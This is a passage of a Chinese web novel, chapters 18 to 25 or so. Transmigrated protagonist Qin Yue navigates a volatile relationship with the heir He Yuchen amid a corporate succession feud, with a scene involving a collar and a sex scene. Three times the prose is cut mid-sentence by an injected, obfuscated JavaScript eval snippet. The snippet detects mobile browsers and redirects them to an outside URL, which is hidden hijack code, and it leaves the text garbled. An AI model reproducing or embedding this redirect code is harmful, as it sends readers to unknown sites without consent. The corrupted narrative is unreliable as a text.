不知道是不是因为看不起他这种小炮灰,压根没放心上,如今才想起来清算。 秦越清楚贺煜臣不好骗,于是决定实话实说:“你能不能不要喜欢宋时景。” 如果系统在这,一定会帮倒忙,让秦越跟贺煜臣说因为我喜欢你,我愿意为你赴汤蹈火等一系列,说了都暗自心虚的话。 喜欢? 秦越自己都不相信一见钟情。 贺煜臣咬着下唇,唇边逐渐染上艳色,黑色的瞳孔中高光褪去。 他阴沉沉地笑了,“好啊,那你替他留下来陪我。” 秦越头皮一麻,错开了视线。贺煜臣这话怎么听怎么怪。 要不是在床上,但凡换个场景,听得就像是男鬼来找替代品了。 在见到秦越的第一天,贺煜臣内心就在挣扎。 他总是在别人面前装得彬彬有礼、无所不能。那是因为其他的人也在他面前装得尊敬佩服、谄媚顺从。 所有人都在演戏,贺氏集团未来继承人的身份就意味着,他必须是要演的最好那个。 他不能出错。 不幸的是,所有人都在等他出错。 贺煜臣见过形形色色的人,而秦越的演技……是最差的那个。 或者说,秦越他根本不屑于去做任何自己不想做的事情。 随心所欲,就是这么简单的事情,但贺煜臣却触不可及。 秦越以为是他的主动,捕获了自己的关注。 其实那天,是他选择了秦越。 秦越太张扬了,太炙热,也太有生命力了。每一个表情都似乎在说,不会臣服于任何一个人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064489|163051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他鬼使神差得,就踏出了这一步。 去暮色之前,贺煜臣其实心里很害怕,他怕秦越其实也没有什么不同,只是侥幸骗过了自己的眼睛。 万幸……一切都没有改变。 自己愿意包容秦越的小脾气,那么……他也应该能容忍我的吧。 贺煜臣眼神一暗,将什么东西戴到了秦越的脖颈上。 咔嚓一声,道具完美地贴合在皮肤上。 秦越下意识地摸了上去。 冰凉光滑,表面有些许的纹理。 是一个皮质的颈圈。 黑色的颈圈?没有花里胡哨的造型,可以称得上朴实无华,内圈是一层软毛,不会勒伤颈部的皮肤。 这个看起来不像choker,更像是……宠物的项圈。 贺煜臣指尖徐徐擦过项圈,他碰到某个突起时,轻轻地按了按。贺煜臣满意地看了看秦越皱起的眉头,感受着指腹下的喉结微微攒动。 “你知道自己上次住的那件客房,之前住的是谁吗?”他问道。 秦越忍耐有限,要不是看着贺煜臣现在状态不对劲,早就把人从自己身上掀开了,他顺着贺煜臣的话说:“不知道,住的是谁?” “一只猫。”贺煜臣垂眸看着秦越,“不过它很不乖,总是想跑。” 秦越在贺煜臣家里从来没见过什么猫,他心底隐约感到不安,“那只猫呢?” 贺煜臣俯视着秦越,眼里是秦越分辨不出来的情绪。 痛苦,悲伤,还是隐忍? 有什么难以抑制的东西,想要奔涌而出。 接着这些情绪通通都消失不见。 贺煜臣蓦得头颅垂下,他轻声笑了,只不过抓着秦越肩膀的手在不停地颤抖,“那只猫当然是死了,它为自己的不乖付出了代价。” 秦越一直没有说话,等到贺煜臣抬起头,才发现秦越在怔怔地看着他,眼神里没有害怕,也没有不悦。 相反,他眼里只有探究和些微的无措。 秦越说实话现在有点头晕,这时候他深刻领略到原著小说里面,说贺煜臣疯批阴暗是什么意思了。可是他又分明看到,贺煜臣低头瞬间,那个眼神里只有受伤。 好矛盾的一个人。 秦越知道那些未必就是完整的他。 秦越忽然有一种强烈的冲动,想否认原文字里行间对贺煜臣的定义。 贺煜臣居高临下地注视着秦越的脸,像是审视,又像是在犹豫。 仿佛只要秦越说的话,有一个字他不满意,就要当场翻脸。 秦越骨相很优越,可能是眉骨太高,就显得人很凶,但此刻他紧锁的眉头慢慢放松,表情反而有些纯真和温柔。 “那我应该不会死。”秦越突然有了动作,他揽住贺煜臣的腰,把人直接翻到自己的身下。 他漫不经心地说道:“因为我比它乖。” 19. 第 19 章 和在车上的生涩不同,这次贺煜臣格外的主动。 除了秦越的手碰到他的腰侧时,他跟在医院一样,浑身无法克制地瑟缩一下。 “痒。”贺煜臣轻轻地隔开秦越的手掌。 他之后就再也没有别的反应,只是顺从地迎合秦越的动作。 秦越总觉得贺煜臣热情的有些过分了。有时自己能看见贺煜臣眼里疼痛远远大于欢愉,他额头上布满冷汗,眉毛也在无意识地痛苦紧蹙。 但嘴上没有说出任何拒绝的话。 秦越不得不全力压制住对方,想把这场糟糕的情事停下来。 “你别伤到自己……”秦越感觉简直像是在床上玩起了自由搏击。 没有裁判,没有观众,只有他努力地想把贺煜臣按在自己怀里。 而眼前的人完全不配合,力气也大得出乎意料。 贺煜臣看着很瘦,腿还有旧伤。但他实际并不是那种完全不锻炼的人,相反他上半身充满健身痕迹。 他如果有心反抗秦越,秦越一时半会还真拿他没什么办法。 “嘶——”秦越手腕一疼,他低声喝道,“松口。” 贺煜臣依旧是那副冷脸的样子,听到秦越的话,才松开牙关。 清晰的齿痕印在秦越的手背上,贺煜臣抬起头盯着秦越,发出含混的喘息声,“疼吗?” 极端的情绪扑面而来,贺煜臣视线直白赤裸,如影随形地吞噬着秦越的身形轮廓。 他用脸侧蹭了蹭秦越的手背,“疼的话,你才会忘不掉。” 疼得明明是你。 秦越声音卡在喉间,他刚想覆上对方湿漉漉的睫毛,肩膀就传来了钝痛。 贺煜臣一头栽到他肩头,不知道是睡着了,还是累晕了过去。 秦越:“……” 他能感受到贺煜臣的呼吸尽数喷洒在自己的颈侧,贺煜臣的一只手还虚虚地放在那个颈圈上面,似乎担心秦越会趁他不注意,就会把这个东西解下来。 秦越被贺煜臣这一通折腾下来,已经麻木到一个指头都不想动。 好在常识这时候战胜了疲惫,他还是拖着身体,把贺煜臣扶进了卧房自带的浴室,给人清理了一下。 最后终于躺在床上的时候,有种经历几个小时体能训练后的酸爽感。 秦越听着贺煜臣轻轻的呼吸声,仿佛身旁躺得是一只毛茸茸的小动物。 他迟疑了一下,还是把人搂进了自己怀里。 在初升的太阳勤勤恳恳地爬了大半天后,系统接到了可以解除视野封闭的通知。 系统环顾了一下周围,从略微还有点暧昧的气氛中,看出了点端倪。 它想尖叫,它想咆哮,它难以置信。 系统深吸一口气,疯狂输出:[1027号,您把攻二给上了??!啊??] 秦越觉得有一排土拨鼠,挨个从他耳边扯着嗓子喊了过去。 本来就因为睡眠不足而头疼,这会更是助长了偏头痛的威风。 秦越昨晚以为终于可以休息了,结果一晚就在给人掖被角中度过。 心累。 怎么也没人跟他说贺煜臣睡觉那么不老实。 秦越觉得系统疯了:“你在鬼叫什么?” 系统觉得秦越疯了:[贺煜臣他是攻啊,您昨晚干了什么?你走得应该是宋时景的剧本啊,剧情偏离度要完蛋了啦——] 秦越直接无视了它的哀嚎。 昨晚太不对劲了,为了验证自己的想法,秦越开始在床底摸索着什么东西。 “过来看看,这什么东西。”秦越手上托着一个黄色药片,指挥系统来干活。 系统注意力被秦越被吸引走了,听话地扫描药片的成分,它很快得出答案:[喹硫平,可以用来治疗精神分裂症及双相情感障碍的狂躁发作。] 秦越眉头一跳,小说里面说贺煜臣很疯,他原本以为是形容词。 没想到,是……真的。 秦越此刻心里有点五味杂陈,下意识望向贺煜臣。 侧卧在床上的人,习惯性地把自己窝成一团。仿佛很清楚,他没有什么东西可以依偎。 贺煜臣眉心有一道浅浅的痕迹,就算是在睡梦中,也不安稳。 秦越在系统不明所以的目光里,把药片放回原位,重新躺回到贺煜臣身侧。 没过多久,他感觉到盖在身上的被子,被人慌张地扯动。对方察觉到动静有点大,僵住了一会,像是观察秦越有没有醒来的意思。 接着是蹑手蹑脚下床的声音,贺煜臣似乎是找到了那片药,轻轻叹了口气。 看着还在睡觉的秦越,他抿了抿唇,终究还是什么都没说。 秦越听见开门又关门的声音,才缓缓睁开眼。 系统装模作样地批评:[咳咳,虽然您昨晚的某些行动有点失误,但结果是好的。恭喜您,剧情偏离度20%!] 它一开始确实有点紧张,怕看到剧情偏离度开倒车,但是没想到居然从15%的预计数值,直接升到了20%。 [那个药您为什么又放回去了,不都已经捡起来了吗?]系统思来想去没明白,忍不住问道。 秦越理所当然道:“他不想让我知道,那我就不知道。” 他在落地窗前看到贺煜臣出了门,才慢吞吞地起床洗漱。 系统:[呃,第一次结束之后,不应该黏糊成一团吗,你俩咋那么生疏?] 瞅着就像是一对多年夫夫,结束了一场司空见惯的情事,第二天一早,就无趣地各干各事。 贺煜臣不知道秦越在楼上看他,他此刻正坐在车上,看贺长天发给自己的消息。 贺长天说想找他谈谈。 贺煜臣已经猜到贺长天要说什么了,他浏览着消息,实在没有兴趣看完贺长天演得这出父慈子孝。 他刚准备关上手机,又一条好友申请的消息发了过来。 映入眼帘的先是对方头像,贺煜臣只看了一眼就匆匆撇开视线,手忙假乱地点上了好友申请。 那是一掌像素很模糊的照片,似乎是被照相的人随手拍摄下来的。 照片上能看见男人凹陷的颈窝。周围颈侧的肌肉,随着相片主人略微抬起下颌的姿势绷紧。 颈线中央的喉结,被不到两指宽的颈圈遮得严严实实。 是秦越。 贺煜臣懊恼地叹了一口气,自暴自弃地把手机丢在一边。 ……昨晚他还是失控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064490|163051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 - 临近十点,贺氏集团董事长办公室的门被人推开。 贺长天看着走进来的大儿子,突然觉得有些陌生。 他不记得从什么时候开始,贺煜臣就已经完全脱离了他的掌控。 贺煜臣并没有坐下,他拄着手杖,没有一丝不自在,倒像是降贵纡尊来自己属地视察的领主。 “我今天找你就是想跟你说,哪怕你有什么意见,就非要在董事会上说吗?弄得谁都下不来台。” 贺长天语重心长,俨然一副心事重重的老父亲样子,“这不是白白让别人看我们家笑话吗?” 贺煜臣不吃这套,他直白地说:“你是说我非要收购光能世纪的事情?” 贺长天稳扎稳打,他更乐意投资一些传统产业,这些产业技术含量低,但市场成熟,技术稳定,回报没什么风险。 而光能世纪作为曾经国内领跑的新兴产业,在被贺氏收购前,已经濒临破产了。 主要原因是由于国内竞品很多,光能世纪旗下产品多出售国外,但其价格低廉,对国外本土市场造成巨大的打击。 国外议院通过反垄断法,一而再再而三地提高相关产品的关税。导致就算光能世纪降低至成本价出售,落地国外的价格也远远高于当地产品。 他们苦苦支撑了一两年,最后因为资金链断裂才跟贺氏谈判。 贺煜臣很久之前在董事会上就提出建议,要求收购光能世纪。经过一年多的商务谈判与框架协议签署,前不久并购整合才结束。 这也是金融小报上,屡屡被提及的贺氏父子阋墙的矛头所在。 但贺煜臣的判断没有任何问题。 在并购整合后半个月,政府出台要求支持国内的新能源产业,投资补助各大能源产业的研发。 光能世纪在贺氏手下重获新生。 听到贺煜臣提到这件事,贺长天脸色终于垮下来,“你是不是早就知道内部消息了?!” “你还在纠结已经发生的事情么?”贺煜臣对贺长天的发难毫不在意,“那想必你已经对之后的股东大会上,继任董事长这件事胜券在握了?” 贺长天故作轻松地喝了一口面前的咖啡,“下一任董事长票选的结果不是我,就是你,都是一家人,有什么值得担心的。” ……担心? 他已经知道自己几乎毫无胜算。 股东大会那群人,一部分是融资加入的新鲜血液,他们因为这次收购的事情,对贺煜臣青睐有加。 另一群老不死的更是麻烦,他们早就主张贺氏应该掌握在本家手里,这群老古板从不认自己也是贺氏的一员。要不是几年前贺煜臣年纪不够大,经验稚嫩,他上一次股东大会估计就要卸任了。 “你知道我从你的眼里看到了什么吗?”贺煜臣突兀地笑了一声。 贺长天愕然,那是他很久都没有看过的笑容。 不掺杂任何讽刺的虚伪笑容。 只有纯粹的快意。 贺长天却觉得那笑容刺得他生疼,他忽然变成了被钉在标本框里的昆虫,只能任由贺煜臣打量观赏。 “我看到了逃避。”贺煜臣敛去笑意,“原来你也是会害怕的。” 20.第 20 章 贺长天虽然已经年过五十,但依稀还能看出年轻时候的儒雅帅气。 两个人沉默对视,贺煜臣似乎是欣赏够了对方的狼狈,才面无表情地离开。 贺长天再怎么心烦意乱,毕竟也是商战里活得够久的老王八。 他定下神来,呵斥道:“你要去哪?话还没谈完就走,贺心蕊就是那么教你跟长辈说话的?” 贺心蕊是贺煜臣的生母,贺氏集团曾经的董事长。 在十几年前的一场交通意外中,她当场不治死亡,而贺煜臣则是付出了再也不能行走自如的代价。 贺煜臣当时在医院住了一段时间后,医生检查过他的情况后,就建议在家休养,说熟悉的环境对身心都有好处。 他伤病未愈,但那个时候贺长天可能觉得他是个烦人的累赘吧,在家里见到贺煜臣,也只是应付性的关心几句,晚上更是经常夜不归宿。 贺煜臣那时候还不知道,贺长天有个跟自己差不了十岁的私生子,对方只不过是着急去见另一个儿子罢了。 他只能拄着拐杖艰难地挪到门口,对着没有任何留恋的贺长天问道:“你要去哪?” 贺煜臣其实并不关心父亲要去哪里,他只是害怕对方再也不会回来了。 时间拨动了十余年。 贺煜臣再一次从这个男人嘴里听到这句话。 这次角色互换了。 “我没有死在当年那场车祸里,你是不是很失望?”贺煜臣意味不明地问道。 他就像多年前的贺长天一样,只留下一个没有任何动容的眼神。 贺长天被贺煜臣的话堵得心塞,他缓了一会心情,才朝着一旁的隔间喊道:“出来吧,人已经走了。” 贺亦寒慢吞吞地从隔间走了出来。 “本来喊他过来,是想让你们能心平气和地谈谈,兄弟间有什么不能和解的。”贺长天一脸凝重,夹杂着一些肉眼可见的愤懑,他拍了拍桌子,“这小子越来越不把我放眼里了。” 贺亦寒本来就不想看见贺煜臣,他撇了撇嘴,“说得好像他把我放眼里一样,他抢我男朋友这事我还没找他算账。” 贺长天听完,立刻把桌子拍得震天响,“你还是小孩吗!现在是讨论这些情情爱爱的时候吗?我是不是把你养的太天真了,贺煜臣已经快把枪顶我俩脑袋上了,你跟我在这说你什么男朋友?!” 贺亦寒从没被贺长天那么大声训斥过,眼里闪过一丝憋屈,对贺煜臣的厌恶更深了。 贺长天指着贺亦寒的手都在抖:“半个月后的股东大会,如果他真的赢了,我会被直接扫出权力中心,至于你,以后也别想染指贺氏了。” 他意识到自己太宠这个儿子了,把他养成了一个废物,以至于没有自己的帮助,根本没法跟贺煜臣平起平坐。 “之前有很多人支持你。应该不能吧……”贺亦寒心虚地低下脑袋。 贺长天哼了一声,“都是审时度势的商人罢了。一开始觉得贺煜臣太过年轻,跟着他会吃亏,现在情况不一样了,他们只会再做打算。更别提那些老古董们,都七老八十的了,还不愿意交出权利,一谈就是权利要回归主家。” 气得他又不能跟一群半只脚踏进棺材的人吵架。 话已经说到这个份上,贺亦寒终于意识到事态的严重,“那怎么办?” 一看只会问怎么办的儿子,贺长天一口气差点没喘过来。 贺长天眼前一阵黑,直到贺煜臣的最后一句话,突然在他的脑子里打转,逐渐涌出一个念头,这个念头越来越庞大,直到占据了他整个脑海,“……那就让他来不了股东大会了。” 贺长天安慰自己,他并不是真的想要贺煜臣的命,他只需要对方能躺病床上几个月,让股东们担心怀疑贺煜臣的身体状况。 这会动摇股东的选择,使他们认为贺煜臣的健康情况,无法长期稳定地担任董事长一职,从而影响选票结果。 贺长天看了一眼只会问怎么办的贺亦寒,认命地叹了口气,让贺亦寒附耳过来,交代了几句话。 然后贺长天眼不见心不烦地把贺亦寒打发走了。 贺长天环顾着偌大的办公室,这是他一步步走到这里的。 他上半生被贺心蕊压得喘不过来气,下半生难道还要输给她儿子吗? 虽然离股东大会还有一段时间,但事态越来越焦灼。接下来几天,两个派系的人在公司遇到,连假笑都不愿意分享给对方一个了。 这也导致了秦越几天没看见贺煜臣了。 毕竟别墅区离集团挺远的,来回时间不算短。贺煜臣以前忙得时候,也不会经常回来。 这段时间,秦越过得相当惬意,除了直播以外,他基本没有工作。 系统用自己酷似史莱姆的声音,撞了撞秦越的肩膀:[我得告诉您一件事,虽然您目前从男二这方面,切断了爱情的小火苗。但是这是单方面的,白月光完全没有跟男主和好的意思啊!] 秦越不为所动,没有感情地哦了一声。 系统没有对秦越拒不配合的态度生气,它分析了一通:[我觉得主要是您没有让宋时景产生危机感。] 秦越抬起头,准备听听系统发人深省的大论。 系统:[您要不直播说您跟贺煜臣在一起了吧。] 秦越:“……” 他到底在期待什么。 系统很认真:[而且您很多行为一点攻击性都没有,导致宋时景完全不知道您的进度,他就完全不会退步,也不会重新回到男主那里。] 秦越:“所以?” 系统掏出一个压缩文包:[请看,这是我甄选的教程。《茶艺教学》《100个绿茶小心机》《顶级绿茶术》……] 有的话多听一句都是折磨。秦越一脸严肃地尝试寻找系统的静音键。 系统被秦越看得发毛,[您在找什么?] 秦越看着对方光溜溜的身体,失望地收回目光。他兴致缺缺地准备逛逛别墅。 这个地方说是别墅,看上去更像是一处设施齐全的庄园。 秦越早就发现,房子外面有一个很空荡的游泳池,占地面积不小,虽然很干净,却一点水都没有。 前几次一直负责接待秦越的女士,是这个地方的管家。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15074313|163051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她看见秦越站在游泳池边发呆,便走了过去。 系统充满期待地看着管家。 管家在系统期冀的眼神中,说出了那句系统等了很久的台词:“先生很久都没带人回家了,你是第一个。” 系统大喜:[她说了!她终于说了!] 秦越:“……”他露出一个尴尬又不失礼貌的微笑。 管家跟着秦越一起,目光投向面前的泳池,“秦先生,如果你想游泳的话,庄园内部有室内泳池的。” 秦越奇怪地问:“这个是不用了吗?如果废弃的话,为什么不填起来。” 做个花园,或者干脆用土回填,也比空荡荡一个坑好看。 管家支吾了一声,不确定能不能跟秦越说。 但是转念她又一想,这位都在庄园住那么久了,肯定身份特殊,半晌斟酌着开口:“我在少爷出生后不久,就开始在贺家做事。” 她没有意识到自己说的是贺煜臣旧称。 “这个地方以前是贺家用来避暑的。少爷从前特别活泼好动,游泳马术样样精通。其实当时这里已经有个室内泳池了,但是少爷非闹着要一个露天的。” “那个时候夫人还在,她特别宠少爷,只要不是什么无理的要求,基本少爷说什么她都会满足。所以她很快就找人修了这个游泳池。” 只不过后来出了事,夫人死了,少爷腿又不好,就再也没用过了。管家咽下了后面的话,“时间不早了,需要用晚餐吗?” 秦越移开视线,跟着管家走回庄园。“贺煜臣今晚也不回来吗?” 管家微笑:“先生没有跟我们说呢。” 秦越望着没有点灯的房间,黑洞洞的窗口,像一张张绝望嘶吼的嘴。 他扯开话题:“这个地方挺冷清的,养个宠物应该热闹点吧。” 管家很快地点头,印象很深的样子,“很久之前是有只狸花猫,起码是十年之前了吧。”她陷入回忆,“不过那只猫早就死啦。” 秦越装作不在意地问她:“怎么死的,老死的吗?” 管家摇摇头,叹气道:“也是作孽,那只猫是个流浪猫,养不熟。有一天半夜不知怎的就跑出去了,在山道上被车撞死了。” 她一提到这只猫,记忆就跟开闸了一样,“贺先生听说猫不见了,找了一晚上,天亮的时候,才看到变成一滩血泥的猫尸。哎,贺先生当时年纪不大,还在上高中,遇到这种事难过得要命,问我该怎么办。” “可惜猫跟人一样,死了就死了。又不像是人做一场噩梦,醒了就什么事都没了。” “贺先生想把猫做成标本,留个纪念。可惜尸体太不完整了,最后只能埋了。我建议你还是别养宠物了,免得贺先生看了难过,到时候还会生你的气。”管家善意地提醒。 [您不会是真想养宠物吧?]系统没搞懂刚刚秦越跟管家的对话,是出于什么目的。 秦越想着贺煜臣那晚跟他提到的猫。 说当时心里没紧张一下,是假的。 有那么一瞬间,秦越觉得贺煜臣看他的眼神,是真的也想把他做成一个标本。 25-30 第25章 秦越太阳穴突突地直跳,他咬牙切齿地问系统:“他来了你就不会提前说一声吗?” 系统:[我在阻止你不要对助攻对象进行暴力行为啊。] 它更是悲观:[不会吧,难道贺煜臣给宋时景解围这件事,无论如何都会发生吗?] 贺煜臣面无表情地径直朝两个人走了过去。 宋时景趁着秦越一愣神的功夫,直接挣脱开来,要哭不哭地站起身。 宋时景眉目如画的脸此刻微微皱在一起,一只手紧紧拢着刚刚因为动作激烈,被挣开的领口,看上去好不可怜。 他言语中带着让人误会的倾向,“贺总,是他先动的手,突然就把我带到这,我衣服都……” 贺煜臣盯着在几步开外依旧装蘑菇的秦越,他平静地说道:“过来。” 系统在空中画十字架:[哈利路亚,阿弥陀佛,我们完蛋啦,阿门。] 宿主一套行云流水的流程下来,之前做的时候全白搭了。 秦越实在是懒得跟宋时景话疗,才想直接粗暴地跳过这个剧情节点。 至于他为什么放弃跟宋时景沟通,那是因为跟宋时景的上一次见面谈不上愉快。 宋时景眼瞅着秦越黑着一张脸过来了,见状他顺水推舟往后退了退,小鸟依人地站到贺煜臣身旁。 系统急死了:[我……&*%!这个该死的剧情自动修复!] 它恨不得变王母娘娘,将两个人中间隔开一条天河,严防死守。 其实贺煜臣他们并没有贴得很近,系统单纯是有种努力努力白努力的悲愤。 秦越没有系统那么急,他现在是烦得很。 有种很想发火,但是又不知道朝谁发火的无力感。 本来贺煜臣的事业线已经被原作者一笔定论了,他只是想让对方感情戏变得顺利一点都不行吗? 他垂下眼,遮住了不耐冷戾的眸子。 “秦越。”贺煜臣语气中没有不虞,不知想到了什么,朝着秦越伸出手。 秦越掀了掀眼皮,就看见他凑到自己眼前,在不急不缓地试图解开自己的领带。 刚刚在宋时景的抓捏之下,领带已经皱巴巴的了。 “被别人碰过了,就不要带回家了。”贺煜臣语气平淡地解释着自己的所作所为。 秦越察觉到一些异样,贺煜臣没有为宋时景出头的意思,也没有生气的兆头。 他隐隐觉得贺煜臣好像不太对劲,但又说不上来哪里不对。 贺煜臣几下就把领带解开,随手放在洗手台上。 他朝秦越微笑道:“还傻站着做什么,时间差不多了,晚宴很快就要开始了。” 不仅是秦越觉得不对,系统都开始嘀咕:[剧情偏离度居然30%了,这是为什么?] 百思不得其解的又何止他们俩,宋时景都要以为自己在做梦了,怎么会有那么荒诞的事情。 “贺总,他……”宋时景有些怀疑人生了,他急急忙忙开口,结果再一次被贺煜臣无情打断。 贺煜臣:“你受伤了吗?” “没有。”宋时景干巴巴地回答。 贺煜臣微微颔首:“那你还有什么要说的。” 被两头堵的宋时景:“……没了。” 秦越没理会被抛在原地,跟站桩一样的宋时景,他跟着贺煜臣走了一路,实在憋不住了,“你就没什么想说的吗?” 贺煜臣看了他半晌,眼瞳黑沉沉的,“恋人之间应该互相包容,偶尔一次错误可以被原谅。” 这都是哪跟哪?! 秦越简直想摇一摇贺煜臣的肩膀,把这些奇奇怪怪的思想从他的脑子里晃出来。 原文写的居然没有夸张,贺煜臣的爱情观真的跟人机似的。 他再一次暗骂原作者脑子有坑。 秦越捏了捏鼻梁,他深吸一口气,“这是什么鬼的包容,你知道作为一个正常人会怎么做吗?先张嘴问清楚情况,如果真的做了这种出轨又强迫别人的事,那就没什么好原谅的了。” 别跟小说里一样,看见宋时景跟贺亦寒鬼混在一起,却当做没看见,最后把自己逼得发疯。 秦越没好气地说:“什么都不问,嘴是装饰吗?还是觉得你一步一步退让,就能让别人留下来?” “你有权利生气。”爱情是互相间的承诺,一个人单方面打破了承诺,错的是他,而你这样只是在纵然他的错误。 秦越语速过快,等他反应过来自己说了什么的时候,后知后觉地意识到了不妥。 他想起贺煜臣那些藏起来,不想让自己看见的药物。贺煜臣能称得上正常人吗? 秦越莫名懊恼起来,觉得自己说话太重了,况且自己凭什么对人家指手画脚的。 是我的问题吗?贺煜臣开始怀疑自己。 可是秦越表情太过认真。 不知道为什么,一直有个深入骨髓的声音,告诉他爱应当隐忍克制,太过强势只会把人越推越远。 那道镌刻在他思想里的理念,生出了一丝裂缝。 贺煜臣握住手杖的手缓缓收紧,有什么东西在头脑中被挣开了。 他嗓音沙哑:“所以,刚刚是宋时景说的那样吗?” 秦越松了口气,心想你终于问了,“当然不是。”他啧了一声,“不过他前半句说得对,是我把带去那的。” 贺煜臣像一个举一反三的学生,他继续追问:“你为什么要带他去那” 秦越嘴唇动了动,叹了口气,说了实话:“因为贺亦寒也在这,我不想让他们见面。” 他抬手制止了还要问为什么的贺煜臣,主动说:“我不想让你为难。” 贺煜臣黑漆漆的眼里是一片荒芜,“只是这样?” 不止。 我想让你,不要再参与到这场没有结果的爱情游戏里了。 秦越下定决心一样,略为僵硬地说:“我不想看到你跟他掺和到一起。” 荒芜里好像燃起了一点点火花。 贺煜臣嘴角不易察觉地翘了翘,他若无其事地说:“我之前已经答应过你了。” 本来他对宋时景就没什么想法。 系统恍然大悟:[怪不得偏离度30%了,原来根本没有给宋时景解围。] 从某种意义上来说,他更像是给宿主解了围…… 系统看着进度条在犹犹豫豫要进不进的样子,它意识到宿主又要干点不一样的事了。 “原著剧情里,晚宴这个剧情点会大幅增加他们的感情,所以应该不止只是解围这件事吧。”秦越虽然排除了一个剧情点,但还是很警惕,“拍卖会上贺煜臣给宋时景拍下的那个戏服,是不是有什么特殊的含义?” 系统:[小说里贺心蕊死于一场车祸。在这之前,她正开车带着贺煜臣准备去看一场电影。] [这个电影后来国内外获奖无数,特别是服装设计这方面脱颖而出。原文里拍卖的,就是这部电影末尾时,在一片合家欢气氛里,男主跟女主共舞时所穿的衣服。] 秦越心情复杂:“这不是往人心口扎刀子么?” 系统点头:[没错呀,作者就是那么设计的。接下来剧情就应该是白月光安慰犯病的男二了,然后他们的感情才能upup。] 黄金矿工都挖不出这种神金作者。 秦越感受不到原作者对贺煜臣偏爱,他只是用来增加男主和白月光之间的波澜。 一点施舍的怜悯都没有。 秦越突然说道:“你一定要参加这个晚宴么?” 贺煜臣:“……” 他有些茫然:“不是你之前说想来的?”他明明是出于好心,担心秦越被欺负,才想过来看一下情况的。 秦越理不直气也壮:“我改变想法了,我现在想去……电影院。” “电影院?”贺煜臣微微偏头,满眼都是你思维未免也太跳脱的疑惑。 秦越诚恳:“最近有个风评特别好的电影,我要努力学习一下演技。” 好扯的理由,但是贺煜不想拆穿他。 贺煜臣猜多半是因为宋时景,他唇角绷直,藏起笑意。 他忽然觉得小男友吃醋也挺可爱的。 “好吧。”贺煜臣顿了一下,“我让司机来接我们。” 秦越:“我来开车吧,你知道车停哪了吗?不远的话我们走过去好了。” 两个人互相交谈着,旁若无人地穿过大厅。 柳之妍猛地眯起眼睛,愣住了,她惊奇地拍了拍经纪人的胳膊,找对方确认自己视力没有问题,“我没看错吧?” 经纪人结结巴巴:“我也应该没看错吧。” 谁知道这小子离开公司之后,反而麻雀飞上枝头变凤凰了? 他后悔死了,怎么手那么快把人拉黑了。 秦越全然不知经纪人正在试图把自己加回来,他通过后视镜看着贺煜臣:“后排也要系安全带。” 贺煜臣还没见过敢命令老板的司机,“不用了。” 秦越扬眉:“别逼我过去给你系。” 话已至此,贺煜臣不情不愿地系上。 秦越找的电影院比较偏,因为他想找一个好的观影位置。市中心的电影院不提前订票,就只能坐在边边角角了。 贺煜臣看了一眼手上的电影票上的名字,又看了看旁边同名的超大立牌。 “今年最无厘头动画。”贺煜臣扫过立牌上的标语,忍不住调侃道:“学习演技,嗯?” 秦越摸了摸鼻梁,“谁说动画片就不能学了?” 检票口的服务员低头看了看票据,又看了看西装革履,换个场合就可以去参加颁奖典礼的两人,嘴角抽了一下,随即利落地撕下票根,“前面直走左转,六号厅。两位看个电影还挺有仪式感的哈。” 秦越接过电影票,笑了笑,“人生本来不就要点仪式感么。” 检票员愣了老半天,干巴巴地说:“行吧,主要我见别人选的仪式感地方,一般都是什么烛光晚餐,江景游轮之类的,你们来看个动画片,我是第一次见。” 虽然也算得上挺有新意的。 影厅里陆陆续续坐了一些人,因为影院位置比较偏,上座率没有那么高。 电影毕竟是个动画片,为了照顾小孩子的理解能力,剧情也相当简单。 男主是这个世界的底层人。 底层人每天的工作就是采矿运矿送矿,获得能源,供给地面以上的老爷们享乐。 男主是个乐天派,总是能在地底世界找些乐子,以及……惹是生非。 他的一些搞笑举动经常惹得影厅里小孩爆发大笑。 男主有个好朋友男二,男二号典型的男主对立面,永远的循规蹈矩。 地底世界除了矿灯,只有黑暗。有一天男主怂恿男二去地面上,说是想见识一下书本上写的满天星辰。 结果他们发现了反派的秘密:自己根本不是底层的人类,而是反派用来剥削的仿生人。 反派给他们的通通都是空头支票,他们永远离不开阴暗的地底世界。 所以男主他们决定反抗。 男二决绝地放弃了反派伪造的血肉之躯,蜕化成了最初的样子——一堆废弃的零件。 他说:“我们不是零件,是星辰。” 无数零件在男主的目光中,重新整合凝聚,形成了一颗寄存着所有底层人希望的能量源。 耀眼灼目,他真的变成了一颗星辰。 最后男主在男二祭天之后,获得能量源武力倍增,揍得反派找不着北。 小孩子们咯咯大笑,他们笑那个无恶不作的反派狼狈打滚,以及被揍成猪头的脸。 